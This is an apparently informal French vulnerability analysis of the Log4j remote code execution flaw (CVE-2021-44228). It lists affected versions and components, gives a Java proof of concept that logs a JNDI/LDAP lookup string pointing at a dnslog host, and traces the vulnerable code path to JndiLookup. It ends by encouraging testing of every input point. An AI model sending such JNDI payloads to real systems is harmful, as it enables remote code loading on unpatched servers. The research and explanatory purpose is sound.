
Analyse détaillée et preuve de concept pour CVE-2021-44228 (Log4j RCE), incluant la configuration de l'environnement, l'analyse de la vulnérabilité, le mécanisme d'injection JNDI et les étapes de reproduction.
Jdk7u21 (n'importe quelle version convient)
Versions affectées : Apache Log4j 2.x <= 2.14.1
Applications et composants connus pour être affectés :
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
Coordonnées log4j
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
En voyant le payload, on ne peut que chercher « log4j lookup » ou « log4j jndi »
https://logging.apache.org/log4j/2.x/manual/lookups.html [Documentation en anglais]
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html [Documentation en chinois]

Nous pouvons voir comment l'utiliser ; il n'est pas difficile de remarquer que jndi est pris en charge ici, et que jndi supporte lui-même d'autres protocoles et effectue des conversions — on pense immédiatement à ldap. Déboguons pour voir. Comme j'ai débogué en pleine nuit hier jusqu'à 5 h 30 et que j'avais cours le matin, je suis allé dormir en ne gardant que des captures d'écran du processus d'analyse.

Cessons les bavardages, regardons la suite ; comme j'ai débogué plusieurs fois hier soir, je vais directement au point clé.

Allons directement au point clé : org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

Suivons cette méthode ; dans Java natif, cette méthode sert à formater les chaînes, je ne sais pas si c'est le cas ici.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

Ici, notre payload est récupéré via getMessage(). Pourquoi ?


Je ne vais pas m'attarder davantage ici ; continuons.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
On voit qu'ici il vérifie si la chaîne commence par ${ ; si c'est le cas, elle est exécutée, ce qui déclenche le point de vulnérabilité.



La documentation de cette méthode est disponible ici : https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html





En fait, consulter la documentation suffit presque ; ici, on obtient le résolveur de variables.



On entre ensuite dans org.apache.logging.log4j.core.lookup.Interpolator#lookup

Il récupère le préfixe correspondant et sélectionne l'objet de classe jndi correspondant — JndiLookup.


Cela permet d'effectuer une injection jndi et d'atteindre l'objectif de chargement de classes à distance.


En consultant la documentation officielle, on voit qu'il s'agit en réalité, via le formatage, de remplacer ${jndi:ldap://uci5xf.dnslog.cn/test} par des données réelles.

Article de référence : https://blog.csdn.net/lqzkcx3/article/details/82050375
log4j utilise ensuite lookup pour récupérer un protocole ; les protocoles possibles sont jndi, data, sys, etc. Ils sont stockés sous forme de map ; il détecte la clé correspondante, obtient le lookup associé et l'exécute. Cela constitue une vulnérabilité d'injection jndi standard.
Du point de vue du point d'entrée, il n'est pas difficile de constater que tout ce qui est consigné dans les journaux peut être exécuté (certaines choses ne le peuvent pas). Comme c'était écrit à la hâte, je n'approfondis pas.
La façon de l'exploiter est simple : tester tous les endroits où il y a une interaction. Hahaha.